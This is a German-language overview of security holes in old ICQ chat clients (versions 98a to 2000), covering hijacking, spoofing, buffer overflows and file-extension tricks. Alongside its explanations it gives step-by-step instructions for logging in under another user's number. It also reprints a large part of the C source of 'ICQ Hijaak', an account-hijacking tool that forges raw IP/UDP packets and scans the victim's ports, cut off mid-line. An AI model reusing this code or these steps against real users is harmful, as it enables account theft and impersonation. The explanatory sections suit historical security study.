|
1.0 Inhaltsverzeichnis
2.0 Einführung
3.0 Die Sicherheit
3.1 Die Sicherheitslücken
3.1.1 ICQ98a: Bufferoverflow durch korrupte URL
3.1.2 ICQ98a: Datei-Endungen vortäuschen
3.1.3 ICQ98b: ICQ-Hijacking
3.1.4 ICQ98b: IP-Sniffing durch TCP-Pakete
3.1.5 ICQ98b: Message-Spoofing
3.1.6 ICQ99a: Passwörter werden im Klartext
gespeichert
3.1.7 ICQ99a: Unsichere Authentifizierung
3.1.8 ICQ99b: Bufferoverflow dank URL
3.1.9 ICQ99b: Client-to-Client-Protokoll
3.1.10 ICQ99b: DoS-Attacke dank guestbook.cgi
3.1.11 ICQ99b: DoS-Attacke durch URL
3.1.12 ICQ99b: File-Sharing
3.1.13 ICQ2000: Und was ist damit?
2.0
Einführung
ICQ (Ausgesprochen "I seek you") konnte sich aufgrund
seines hohen Komforts und stetig wachsenden Funktionsumfang
als das meistgenutzte Chat-System, neben IRC (Internet Relay
Chat), des Internets durchsetzen. Eine Kommunikation kann
auf zwei Wege stattfinden: Entweder vom ICQ-Client über den
Chat-Server zu einem anderen User, oder direkt von Anwender
zu Anwender. Offizielle und inoffizielle ICQ-Clients finden
sich für die verschiedensten Plattformen: So sind welche für
Windows 9x, Windows NT, Windows CE, Linux, MacOS, BeOS, BSD
und sogar Solaris erhältlich. Dies ist gewissermassen eine
Meisterleistung der Hersteller der inoffiziellen
Client-Software, da das eingesetzte Protokoll nicht
öffentlich einsehbar ist. Für Windows empfiehlt sich
eindeutig das Nutzen des neuesten offiziellen Clients von
Mirabilis, da jener den besten Komfort und höchste
Sicherheit bietet und mit allen anderen Clients kompatibel
ist. Für Unix-Derivate wurde von Mirabilis offiziell ein
Java-Client herausgegeben, der jedoch niemals an die
Bedienerfreundlichkeit vieler inoffizieller Clients
herankommt. Für Linux gibt es neben den grafischen Clients
für die Oberfläche X auch diverse Programme für die
Kommandozeile. Mein absoluter Favourit ist zICQ, der zwar
einige Einbussen in Punkto Funktionsumfang machen muss,
dafür stabil und schnell läuft. Es ist mir dadurch sogar
möglich ICQ portabel auf meinem Handy (NOKIA 9110) zu
nutzen: Ich wähle mich bequem unterwegs per Telnet auf
meinem Linux-Server ein, um danach den Konsolen-Client in
Anspruch zu nehmen.
Jeder Nutzer des ICQ-Dienstes erhält bei seinem Eintritt in
die Community eine eindeutige Nummer, die UIN (Universal
Identifier Number) genannt wird. Diese Nummer ist mit der
eindeutigen IP-Adresse oder Telefon-Nummer vergleichbar, da
sich dadurch andere User finden und identifizieren lassen.
Die Nummern werden additionell 1 vergeben. Das heisst, dass
wenn ich bei meiner Registrierung die Nummer 10742206
erhalten habe, der kommende Nutzer automatisch die nächst
höhere bekommen wird; also die UIN 10742207. Mitlerweile
existieren über 70000000 Nummern, und wer sich noch mit
einer 7- oder gar 6-stelligen UIN brüsten darf, kann sich
ohne weiteres zu den alten Hasen zählen. UINs mit weniger
Stellen werden nicht öffentlich vergeben und vorzugsweise
vom Person von ICQ (Mirabilis und AOL) genutzt. Möchte man
jemanden finden, lassen sich mit der Eingabe des
vollständigen Namens, E-Mail-Adresse oder UIN in das
"elektronische Telefonbuch" von ICQ den Nutzer einfach
aufspüren. Es gibt auch die offiziellen weissen Seiten, bei
denen sich Benutzer des Dienstes in Listen eintragen lassen,
die sich einem speziellen Thema widmen.
Auf der sogenannten Kontakt-Liste sind alle User
eingetragen, mit denen man regelmässig in Kontakt steht. Auf
jener Liste wird stets aktuell ersichtlich, wer gerade
online ist oder den PC für einen kurzen Augenblick verlassen
hat. Es ist möglich den eigenen Status zu verändern, wobei
auf der Kontaktliste des Gegenübers automatisch der neue
Status angezeigt wird. Die gängigen Zustände reichen von
"online" über "away" bis hin zu "do not disturb". Möchte man
nicht öffentlich zugeben, dass man mittels Internet-Zugang
zur Zeit im ICQ erreichbar ist, ändert man den eigenen
Status in "invisible", wobei nur noch Auserwählte einem als
"online" in der Kontakt-Liste registrieren können. Nun ist
es möglich mit wenigen Maus-Klicks oder Tasten-Kombinationen
einem ICQ-Nutzer in der eigenen Contact-List eine Message
zukommen zu lassen. Auch sind längere Chat-Sessions möglich,
bei denen ganz im Stile von iRC auch mehrere Anwender in
real-time beiwohnen können. Im Laufe der Zeit hat sich ICQ
zu einer wahren Kommunikations-Schaltzentrale entwickelt, da
nun bei den neueren (Windows-)Clients auch das Verschicken
multimedialer Nachrichten möglich wird oder mittels Plug-Ins
Voice-over-IP genutzt werden
kann.
Kurz vor dem Erscheinen der Test-Version von ICQ 2000
machte ein neues Add-On zu ICQ die Runde: Die sogenannte
ActiveList. Dadurch wird die Usenet-ähnliche Zusammenhaltung
einer Diskussion möglich. Der Moderator muss als erstes die
Server-Software auf dem heimischen PC installieren und die
neu erstellte Liste im Internet anmelden. Ab da an können
Interessierte dieser Community beitreten, um einem zuvor
spezifizierten Thema in Form einer Diskussion beizuwohnen.
Diese Form der Unterhaltung konnte sich (leider) nicht
wirklich durchsetzen, da zu wenige ActiveList-Moderatoren
Standleitungen besitzen, und das Nutzen dieses
Zusatzdienstes somit nur temporär möglich ist.
ICQ heimste sich in vergangener Zeit einiges an
Unstimmigkeit der Nutzer ein, da oft mögliche Hack-Versuche
auf Sicherheitslücken von ICQ abgeschoben wurden. ICQ
alleine ist jedoch selten für Angriffe als Ausgangslage
nutzbar, obwohl Remote-Bufferoverflows und DoS-Attacken
bekannt sind. Die grösste Gefahr besteht bei einigen
Clients, dass einem potentiellen Angreifer zu viele
Informationen über das vermeindliche Zielsystem mitgeteilt
wird: Neben der aktuellen IP-Adresse werden oft auch private
Informationen wie die Anschrift oder Telefonnummer in den
Details bekanntgegeben. Diese potentielle Sicherheitslücke
wurde bei ICQ2000 unwiederruflich behoben. Auch finden sich
zahlreiche War-Tools im Internet, mit denen sich Benutzer
mit hunderten von Nachrichten überfluten lassen. Die Ports,
die ICQ-Clients standartmässig öffnen ermöglichen nur in den
seltensten Konfigurationen direkte Angriffe - Viel mehr
finden UIN-Übernahmen bei durch die NETBIOS-Freigabe falsch
konfigurierte Systeme statt.
3.0
Die Sicherheit
Nützlicherweise kann man beim kleinen Chat-Tool vor der
Version 2000 seine eigene IP-Adresse verstecken lassen, so
dass andere ICQ-Benutzer in ihren Clients jene nicht mehr
ohne weiteres ausfindig machen können: Nach dem Öffnen der
PopUp-Liste wählt man den Eintrag "Preferences & Security"
und wählt "Security & Privacy". Danach öffnet sich ein
weiteres Fenster. Bei "Chance ContactList Authorisation" ist
es möglich anzugeben, dass jeder ICQ-User, der einem in
seine Contact-List aufnehmen möchte, zuerst um Erlaubnis
fragen muss. Selektiert man "my authorisation is required",
wird diese Funktion aktiv. Ist das Kästchen bei "IP
Publishing" aktiviert, ist die eigene IP-Adresse ohne fremde
Hilfsmittel mittels ICQ nicht herausfindbar. Das
Veröffentlichen der eigenen IP-Adresse mittels ICQ wird so
unterdrückt. Trotzdem gibt es spezielle Tools, die einem ein
erstes Abtasten automatisieren lassen. Es gibt auch die
Möglichkeit dem Gegenüber eine Nachricht zukommen zu lassen,
und mit der Eingabe von "netstat -a" am heimischen Rechner
den Verbindungsaufbau auszuwerten. Ab ICQ2000 sind diese
Attacken jedoch nicht mehr durchführbar, da die eigene
IP-Adresse vom Client her nicht mehr verschickt werden darf.
In vergangener Zeit wurde in den einschlägigen Newsgroups
immerwieder die angeblich unberechenbare Sicherheit von ICQ
diskutiert. Viele ICQ-Versionen weisen Sicherheitslücken
auf, die von Angreifern remote für destruktive Zwecke
genutzt werden können. Ein weiteres Manko von ICQ besteht
darin, dass der Chat-Client unbeholfen relativ viel
Informationen über das heimische System herausrückt. Viele
dieser besagten Informationen können für einen Angreifer von
besonderem Interesse sein. Auch das Nutzen einer Firewall
vermag viele der durch ICQ zu Tage tretenden
Sicherheitslücken nicht zu schliessen. Grundsätzlich sollte
wirklich auf den Einsatz von ICQ in zu schützenden
Umgebungen verzichtet werden.
3.1
Die Sicherheitslücken
3.1.1
ICQ98a: Bufferoverflow durch korrupte URL
Zack fand im Jahre 1998 eine ziemlich peinliche
Sicherheitslücke in Form eines Remote-Bufferoverflows bei
der Anmeldung des ICQ-Clients beim Mirabilis-Server, die
jedoch durch Mirabilis seit längerem behoben wurde.
Die offiziellen Clients benutzen höchstens die ersten 8
Zeichen des Passworts zur Authentifizierung; die anderen
Stellen werden einfach ignoriert, so wie dies auch bei der
Passwort-Anmeldung auf Unix-Systemen der Fall ist. Die
Linux-Clones machen dies nicht: Würde nun ein Passwort mit
mehr als 8 Zeichen an den Mirabilis-Server geschickt werden,
endet die Aktion in einem Bufferoverrun und man kann sich
mit beliebiger UIN einloggen. Eine gute ICQ-Clone zur
Durchführung eines solchen Tests war der Client für
Unix-Derivate namens zICQ. Als UIN musste im Config-File die
gewünschte Nummer und als Passwort simpel "123456789"
(Einfach grösser als die vorgesehene Länge!) eingetragen
werden. Nach erfolgreichem Eindringen konnten Nachrichten im
Namen des Opfers geschickt und empfangen werden.
Diese Attacke ist kein Spoofing, sondern ein simples
Einloggen unter falschem Namen. Bei Spoofing können nämlich
keine Nachrichten im Namen des anderen empfangen werden.
Dieser Trick funktionierte nicht, wenn jemand schon mit
einer gültigen UIN eingeloggt war. Der Fehler wurde relativ
schnell von Mirabilis behoben und kann heute nicht mehr
genutzt werden.
3.1.2
ICQ98a: Datei-Endung vortäuschen
Dieser nun folgend erklärt, von Justin Clift
herausgefundene Bug wurde mit dem Win32 ICQ-Client in der
Version 98a 1.3 erfolgreich getestet. Auch funktioniert
diese Attacke im beliebten mIRC-Client. Schickt eine Person
einem anderen User per ICQ eine Datei, so erscheint ein
PopUp-Fenster, in der der Empfänger den Datei-Namen und die
kurze Beschreibung des Senders lesen kann. Nun hat der
Empfänger die Wahl, ob er die Daten verwerfen möchte, ob er
sie speichern will und ob sie nach dem speichern automatisch
angezeigt bzw. ausgeführt werden sollen.
Das Problem besteht nun darin, dass bei diesem
PopUp-Fenster der Ausschnitt für die Anzeige des
Datei-Namens in gewissen Fällen nicht ausreichend ist, und
somit nur der Anfang des Dateinamens angezeigt wird. Als
Beispiel kann hier die ausführbare Datei mit dem Namen
"marc4.jpg.exe" genommen werden: Der Empfänger sieht auf dem
Bildschirm nur "marc4.jpg" als Dateinamen; der exekutive
Rest wird ihm nicht angezeigt. Speichert der Empfänger diese
Sendung nun, und wählt die Option "Automatisches Anzeigen"
bzw. "Ausführen nach dem Speichern", so wird nicht ein Bild
angezeigt, sondern der vermeindlich korrupter Programmcode
ausgeführt.
Mirabilis wurde über diesen Fehler informiert, sie
versäumten es jedoch, aktiv gegen diesen Fehler ihrerseits
vorzugehen.
3.1.3
ICQ98b: ICQ-Hijacking
Ein Hacker namens Wumpus entwickelte in C einen
ICQ-Hijacker, der Sicherheitslücken des eingesetzten
Protokolls geschickt ausnutzt, um einen Account zu stehlen.
Ist ein User mit seinem Win32- oder Java-Client eingeloggt,
kann das Passwort dieses Accounts geändert werden, ohne das
ursprüngliche Passwort zu kennen. Sein Programm hijaak.c
wurde erfolgreich gegen die Versionen 1.22 bis 1.26 getestet
und zog eine Clone mit dem Namen wumpus4.c mit sich:
/*
ICQ Hijaak
Version 1C
Author: wumpus@innocent.com
Copyright (c) 1998 Wolvesbane
By downloading or compiling this program, you agree to
the terms
of this license. If you do not agree with any of
these terms you
MUST delete this program immediately from all
storage areas
(including browser caches).
(A) You agree not to use this program in any way
that would
constitute a violate of any applicable
laws. This may
included federal laws if you live in the United
States and
similar laws regarding computer security in other
countries.
(B) You agree to hold the authors (referred to
collective as
Wolvesbane) harmless in any damages that result
due to your
possession or use of this software.
(C) Wolvesbane does not claim that this program
implements any
functions. As the saying goes, "You get what you
pay for." --
And you didn't pay anything for this.
(D) This software is FREE for _NON-COMMERCIAL_ use.
You may not
use this program for any commercial use (or any
other activity
which makes you money with the assistance of
this program).
The author is not interested in commercial use of
this program
(and cannot think of what commercial use would
consist of).
(E) This program was created using Linux with
IP-Masquerading to
run the ICQ program unmodified and without any
dissassembly.
The testing was done with volunteers, and
with a second
computer logged into the ICQ network. No ICQ
users were
harmed in the creation or testing of this program.
(F) This copyright applies only to the code written by
Wolvesbane,
and not to anything included under Fair Use.
(G) Please note that if you use ANY sections of this
code in your
work, (which I expressly allow as long
as it is
NON-COMMERCIAL), you are obligated to give me
some credit in
your comments (if it is a source file ) or
in a string
constant if it is a binary file. If you do not
wish to do so,
you may NOT include ANY portion of this file in
your own work.
*/
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h> /* for AF_INET */
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int MultiResolve( char * hostname,
int * addr_count,
struct in_addr ** addresses );
enum { FAILURE = -1, SUCCESS = 0 };
/*=========================================================================*/
typedef unsigned short int u16;
typedef unsigned long int u32;
typedef unsigned char u8;
/*=========================================================================*/
#define byte(v,o) (*((u8 *)(&(v))+(o)))
#define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o))
))
#define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o))
))
unsigned char icq_check_data[256] = {
0x0a, 0x5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,
0x20, 0x63, 0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,
0x69, 0x66, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20,
0x73, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,
0x43, 0x51, 0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,
0x2e, 0x20, 0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,
0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53,
0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,
0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,
0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65,
0x6e, 0x63, 0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,
0x63, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,
0x51, 0x20, 0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,
0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53,
0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,
0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,
0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,
0x6e, 0x65, 0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,
0x64, 0x69, 0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,
0x6e, 0x0a, 0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,
0x6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,
0x6d, 0x62, 0x65, 0x72, 0x20, 0x77, 0x68, 0x61,
0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61,
0x69, 0x64, 0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,
0x62, 0x6c, 0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,
0x6b, 0x20, 0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,
0x73, 0x65, 0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,
0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61,
0x6c, 0x6f, 0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,
0x6c, 0x6c, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,
0x67, 0x65, 0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,
0x20, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };
#define MAX_NUM_ADDRESSES 255
int Resolve( char * hostname, struct in_addr * addr ) {
struct hostent * hinfo;
(void)memset( (void *)addr, 0, sizeof( struct
in_addr ));
if ( inet_aton( hostname, addr) ) return SUCCESS;
if ( !(hinfo = gethostbyname( hostname ) ) ) return
FAILURE;
(void)memcpy( (void *)addr, (void *)hinfo->h_addr,
sizeof(struct in_addr )); return SUCCESS; }
int MultiResolve( char * hostname, int * addr_count,
struct in_addr ** addresses ) {
int host_count;
int i;
char * p;
struct in_addr address;
struct hostent * hinfo;
if ( inet_aton( hostname, &address ) ) {
p = (char *)malloc(sizeof(address));
if ( !p ) {
fprintf(stderr,"MultiResolve:
Allocation failed!\n");
return FAILURE;
}
(void)memcpy((void *)p,(void *)&address,
sizeof(address) );
*addr_count = 1;
*addresses = (struct in_addr *)p; return
SUCCESS; }
if ( !(hinfo = gethostbyname(hostname) ) ) return
FAILURE;
if ( hinfo->h_length != sizeof( struct in_addr ) )
{
fprintf(stderr,"MultiResolve: h_length
(%d) not equal "\
"to size of struct inaddr (%d) ",
hinfo->h_length, sizeof(struct
in_addr) );
return FAILURE;
}
host_count = 0;
for (i = 0; i < MAX_NUM_ADDRESSES; i++ ) {
struct in_addr * addr_ptr;
addr_ptr = (struct in_addr
*)hinfo->h_addr_list[i];
if ( !addr_ptr )
break;
host_count++;
}
p = (char *)malloc( host_count * hinfo->h_length );
if ( !p ) {
fprintf(stderr,"MultiResolve: Failed to
allocate %d bytes\n",
host_count * hinfo->h_length );
return FAILURE;
}
*addresses = (struct in_addr *)p;
for ( i = 0; i < host_count; i++ ) {
(void)memcpy( (void *)p,(void
*)hinfo->h_addr_list[i],
hinfo->h_length ); p +=
hinfo->h_length; }
*addr_count = host_count; return SUCCESS; }
#define IP_VERS 0
#define IP_TOS 1
#define IP_TOTLEN 2
#define IP_ID 4
#define IP_FLAGS 6
#define IP_TIMETOLIVE 8
#define IP_PROTOCOL 9
#define IP_CHECKSUM 10
#define IP_SRC 12
#define IP_DST 16
#define IP_END 20
#define UDP_SOURCE 0
#define UDP_DEST 2
#define UDP_LENGTH 4
#define UDP_CHECKSUM 6
#define UDP_END 8
#define UCHDR_SOURCE 0
#define UCHDR_DEST 4
#define UCHDR_PROTOCOL 9
#define UCHDR_UDPLEN 10
#define UCHDR_END 12
#define ICMP_TYPE 0
#define ICMP_CODE 1
#define ICMP_CHECKSUM 2
#define ICMP_END 4
u16 cksum( u16 * buf, int numWords ) {
u32 sum;
sum = 0; while ( numWords -- ) { sum += *(buf++); }
sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum
>> 16 );
return ~sum ; }
void make_ip_hdr( u8 * packet, int length,
u8 protocol,
u16 id, u16 flags, struct in_addr me,
struct in_addr you, u8 ttl ) {
memset( packet, 0, IP_END );
byte(*packet, IP_VERS ) = 0x45;
word(*packet, IP_TOTLEN ) = htons( length );
byte(*packet, IP_TIMETOLIVE ) = ttl;
byte(*packet, IP_PROTOCOL ) = protocol;
word(*packet, IP_ID ) = htons( id );
word(*packet, IP_FLAGS ) = htons( flags );
dword(*packet,IP_SRC ) = *((u32 *)&me);
dword(*packet,IP_DST ) = *((u32 *)&you);
word(*packet, IP_CHECKSUM ) = cksum( (u16 *)packet,
IP_END/2 ); }
void make_udp_hdr( u8 * packet, int
udplength, u16 sport,
u16 dport ) {
u8 * udp;
static u8 chdr[UCHDR_END];
u32 pchecksum;
memset( chdr, 0, UCHDR_END );
udp = packet + ( ( byte(*packet, IP_VERS ) & 0x0F )
* 4 );
memset( udp, 0, UDP_END );
word(*udp, UDP_SOURCE ) = htons( sport );
word(*udp, UDP_DEST ) = htons( dport );
word(*udp, UDP_LENGTH ) = htons( udplength );
memcpy( chdr + UCHDR_SOURCE, packet + IP_SRC, 8 );
byte( *chdr, UCHDR_PROTOCOL ) = byte( *packet,
IP_PROTOCOL );
word( *chdr, UCHDR_UDPLEN ) = word( *udp,
UDP_LENGTH );
pchecksum = ( ~cksum( (u16 *)&chdr, UCHDR_END / 2 )
) & 0xFFFF;
if ( udplength & 1 ) { byte( *udp, udplength + 1 )
= 0; }
pchecksum += ( ~cksum((u16 *)udp, udplength/ 2
+ (udplength&1)) ) & 0xFFFF; pchecksum += (
pchecksum >> 16 );
word( *udp, UDP_CHECKSUM ) = (u16)~pchecksum ; }
int CreateRawSocket( void )
{
int s;
int option;
s = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );
if ( s < 0 ) { perror("Socket:"); exit(-1); }
option = 1;
if ( setsockopt( s, IPPROTO_IP, IP_HDRINCL,
(char *)&option, sizeof( option )
) < 0 ) {
perror("Setting IP_HDRINCL"); exit(0); }
return s; }
int GetLocalAddress( struct in_addr remote, struct in_addr
* local )
{
struct sockaddr_in laddress;
struct sockaddr * laddr = (struct sockaddr
*)&laddress;
struct sockaddr_in raddress;
struct sockaddr * raddr = (struct sockaddr
*)&raddress;
int s;
int err;
int len;
s = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );
if ( s < 1 ) {
return FAILURE;
}
raddress.sin_port = htons( 1984 ); /* DON'T CARE */
raddress.sin_family = AF_INET;
raddress.sin_addr = remote;
err = connect(s, raddr, sizeof(raddress ));
if ( err < 0 ) {
return FAILURE;
}
len = sizeof(laddress);
err = getsockname(s, laddr, &len );
if ( err < 0 ) {
return FAILURE;
}
*local = laddress.sin_addr;
close(s);
return SUCCESS;
}
int CreateICMPSocket( void )
{
int s;
s = socket( AF_INET, SOCK_RAW, IPPROTO_ICMP );
if ( s < 1 )
return FAILURE;
return s;
}
int SendUDP( int s, struct in_addr source, struct in_addr
dest,
u16 sport, u16 tport )
{
static u8 packet[576];
struct sockaddr_in raddress;
struct sockaddr * raddr = (struct sockaddr
*)&raddress;
int psize;
int err;
raddress.sin_port = htons( 1984 ); /* DON'T CARE */
raddress.sin_family = AF_INET;
raddress.sin_addr = dest;
psize = IP_END + UDP_END + 6;
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
source, dest, 0x7F );
make_udp_hdr( packet, psize - IP_END, sport,
tport);
err = sendto( s, packet, psize, 0,raddr,
sizeof(raddress));
if ( err != psize ) {
perror("Sending");
return FAILURE;
}
return SUCCESS;
}
const int verify_secs = 2;
int VerifyUDPPort( struct in_addr addr, u16 port )
{
int s_icmp;
struct timeval start_time, end_time, wait_time;
fd_set rdfs;
int err;
static u8 packet[1500]; /* should be max MTU
*/
struct sockaddr junkaddr;
int junksize;
u8 * icmphdr;
u8 * fiphdr;
u8 * fudphdr;
int len;
int got_unreach;
struct in_addr localaddr;
int rawsock;
if ( GetLocalAddress(addr, &localaddr) == FAILURE )
{
perror("GetLocalAddress"); exit(-1); }
s_icmp = CreateICMPSocket();
if ( s_icmp == FAILURE ) { perror("Getting ICMP
socket"); exit(-1); }
rawsock = CreateRawSocket();
if ( rawsock < 0 ) { perror("Getting Raw socket");
exit(-1); }
FD_ZERO( &rdfs ); FD_SET( s_icmp, &rdfs );
if ( SendUDP(rawsock, localaddr, addr, 0x1984, port
) == FAILURE ) {
perror("Sending UDP packet"); exit(-1); }
got_unreach = 0; gettimeofday( &start_time, NULL );
do { wait_time.tv_usec = 0; wait_time.tv_sec =
verify_secs;
err = select( s_icmp+1, &rdfs, NULL, NULL,
&wait_time );
if ( -1 == err ) { perror("VerifyUDPPort -
Select"); exit(-1); }
if ( !err ) break;
junksize = sizeof( struct sockaddr );
err = recvfrom( s_icmp, packet, 1500, 0,
&junkaddr, &junksize );
if ( -1 == err ) { perror("VerifyUDPPort -
recvfrom: ");
exit(-1); }
if ( (byte(*packet,IP_PROTOCOL ) !=
IPPROTO_ICMP ) ||
(dword(*packet, IP_SRC ) != *((u32
*)&addr) ) )
goto check_timeout;
len = ( byte(*packet, 0 ) & 0x0F ) * 4;
icmphdr = packet + len;
if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
(byte(*icmphdr,ICMP_CODE ) != 3 ) )
goto check_timeout;
fiphdr = icmphdr + ICMP_END + 4/*clear
error code*/;
len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
if ( (byte(*fiphdr,IP_PROTOCOL ) !=
IPPROTO_UDP ) ||
( (dword(*fiphdr, IP_DST ) != *((u32
*)&addr) ) ) )
goto check_timeout;
fudphdr = fiphdr + len;
if ( word(*fudphdr, UDP_DEST ) == htons(
port ) ) {
got_unreach = 1; break; }
check_timeout:
gettimeofday( &end_time, NULL );
} while ( ( end_time.tv_sec - start_time.tv_sec ) <
verify_secs );
close( s_icmp ); close( rawsock);
if ( got_unreach ) return FAILURE;
else return SUCCESS;
}
typedef struct foobar
{
int next;
int prev;
u16 rem_port;
int times;
} port_info;
#define MAX_BURST 128
#define UNUSED_HEAD MAX_BURST + 1
#define UNUSED_TAIL MAX_BURST + 2
#define LIVE_HEAD MAX_BURST + 3
#define LIVE_TAIL MAX_BURST + 4
#define FIRST_LPORT 55000
#define SEND_COUNT 3
#define NEXT(i) List[(i)].next
#define PREV(i) List[(i)].prev
#define PORT(i) List[(i)].rem_port
#define TIMES(i) List[(i)].times
int UDPScan( struct in_addr addr, u16 start, u16 end, u16 *
tport )
{
int unused_head;
int unused_tail;
int live_head;
int live_tail;
int i;
port_info List[ LIVE_TAIL + 1 ];
int Current[ MAX_BURST ];
int cur_min, cur_max;
int now_port;
int delay;
int my_port;
int cur_send;
struct timeval wait_time;
fd_set rdfs;
int err;
int s_icmp, rawsock;
struct in_addr localaddr;
*tport = 0;
if ( GetLocalAddress(addr, &localaddr) == FAILURE )
{
perror("GetLocalAddress"); return FAILURE;
}
s_icmp = CreateICMPSocket();
if ( s_icmp == FAILURE ) {
perror("Getting ICMP socket"); return
FAILURE; }
rawsock = CreateRawSocket();
if ( rawsock < 0 ) {
perror("Getting Raw socket"); return
FAILURE; }
FD_ZERO( &rdfs );
FD_SET( s_icmp, &rdfs );
List[ LIVE_TAIL ].next = -1; List[ LIVE_TAIL ].prev
= LIVE_HEAD;
List[ LIVE_TAIL ].rem_port = 0; List[ LIVE_HEAD
].prev = -1;
List[ LIVE_HEAD ].next = LIVE_TAIL; List[ LIVE_HEAD
].rem_port = 0;
List[ UNUSED_TAIL ].next = -1; List[ UNUSED_TAIL
].prev = UNUSED_HEAD;
List[ UNUSED_TAIL ].rem_port = 0; List[ UNUSED_HEAD
].prev = -1;
List[ UNUSED_HEAD ].next = UNUSED_TAIL;
List[ UNUSED_HEAD ].rem_port = 0;
for ( i = 0; i < MAX_BURST ; i++ ) {
PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i )
= UNUSED_TAIL;
NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) =
i; PORT( i ) = 0;
TIMES( i ) = SEND_COUNT; }
now_port = start;
cur_min = now_port;
cur_max = MAX_BURST;
my_port = FIRST_LPORT;
c |